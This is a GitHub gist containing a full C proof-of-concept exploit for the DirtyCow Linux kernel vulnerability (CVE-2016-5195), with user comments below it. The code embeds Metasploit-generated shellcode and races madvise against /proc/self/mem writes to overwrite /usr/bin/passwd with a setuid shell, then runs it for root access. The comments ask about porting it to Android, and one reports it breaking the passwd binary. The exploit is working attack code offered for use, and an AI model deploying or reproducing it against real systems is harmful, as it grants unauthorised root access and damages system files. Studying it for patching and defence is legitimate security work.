Created
October 21, 2016 14:06
-
-
Save rverton/e9d4ff65d703a9084e85fa9df083c679 to your computer and use it in GitHub Desktop.
CVE-2016-5195 (DirtyCow) Local Root PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* (un)comment correct payload first (x86 or x64)! | |
* | |
* $ gcc cowroot.c -o cowroot -pthread | |
* $ ./cowroot | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak | |
* Size of binary: 57048 | |
* Racing, this may take a while.. | |
* /usr/bin/passwd overwritten | |
* Popping root shell. | |
* Don't forget to restore /tmp/bak | |
* thread stopped | |
* thread stopped | |
* root@box:/root/cow# id | |
* uid=0(root) gid=1000(foo) groups=1000(foo) | |
* | |
* @robinverton | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/mman.h> | |
#include <fcntl.h> | |
#include <pthread.h> | |
#include <string.h> | |
#include <unistd.h> | |
void *map; | |
int f; | |
int stop = 0; | |
struct stat st; | |
char *name; | |
pthread_t pth1,pth2,pth3; | |
// change if no permissions to read | |
char suid_binary[] = "/usr/bin/passwd"; | |
/* | |
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
*/ | |
unsigned char sc[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, | |
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, | |
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, | |
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, | |
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 | |
}; | |
unsigned int sc_len = 177; | |
/* | |
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
unsigned char sc[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, | |
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, | |
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, | |
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, | |
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, | |
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, | |
0x89, 0xe1, 0xcd, 0x80 | |
}; | |
unsigned int sc_len = 136; | |
*/ | |
void *madviseThread(void *arg) | |
{ | |
char *str; | |
str=(char*)arg; | |
int i,c=0; | |
for(i=0;i<1000000 && !stop;i++) { | |
c+=madvise(map,100,MADV_DONTNEED); | |
} | |
printf("thread stopped\n"); | |
} | |
void *procselfmemThread(void *arg) | |
{ | |
char *str; | |
str=(char*)arg; | |
int f=open("/proc/self/mem",O_RDWR); | |
int i,c=0; | |
for(i=0;i<1000000 && !stop;i++) { | |
lseek(f,map,SEEK_SET); | |
c+=write(f, str, sc_len); | |
} | |
printf("thread stopped\n"); | |
} | |
void *waitForWrite(void *arg) { | |
char buf[sc_len]; | |
for(;;) { | |
FILE *fp = fopen(suid_binary, "rb"); | |
fread(buf, sc_len, 1, fp); | |
if(memcmp(buf, sc, sc_len) == 0) { | |
printf("%s overwritten\n", suid_binary); | |
break; | |
} | |
fclose(fp); | |
sleep(1); | |
} | |
stop = 1; | |
printf("Popping root shell.\n"); | |
printf("Don't forget to restore /tmp/bak\n"); | |
system(suid_binary); | |
} | |
int main(int argc,char *argv[]) { | |
char *backup; | |
printf("DirtyCow root privilege escalation\n"); | |
printf("Backing up %s to /tmp/bak\n", suid_binary); | |
asprintf(&backup, "cp %s /tmp/bak", suid_binary); | |
system(backup); | |
f = open(suid_binary,O_RDONLY); | |
fstat(f,&st); | |
printf("Size of binary: %d\n", st.st_size); | |
char payload[st.st_size]; | |
memset(payload, 0x90, st.st_size); | |
memcpy(payload, sc, sc_len+1); | |
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); | |
printf("Racing, this may take a while..\n"); | |
pthread_create(&pth1, NULL, &madviseThread, suid_binary); | |
pthread_create(&pth2, NULL, &procselfmemThread, payload); | |
pthread_create(&pth3, NULL, &waitForWrite, NULL); | |
pthread_join(pth3, NULL); | |
return 0; | |
} |
how can i compile it in order to run it on android device?
how you generate the payload of the metasploit in hexcode(shell code)?
Any reason why we use 100
as size with madvise
Awesome, saved my old dev computer after I forgot my root creds.
TheBunnyCoder no, it isn´t happen. It means it doesn´t work in your machine
It works but freeze the machine. I think there isn´t other way like cowroot
version `GLIBC_2.34' not found
./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.33' not found (required by ./cowroot) ./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version
GLIBC_2.34' not found (required by ./cowroot)
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
goddammit I used this exploit because i forgot my new root password and I didn't realize it alters passwd binary so then I couldn't reset my password to proper one! :<
luckily it doesn't affect snapshots so at least I could revert /etc/shadow and /bin/passwd from old snapshot >.>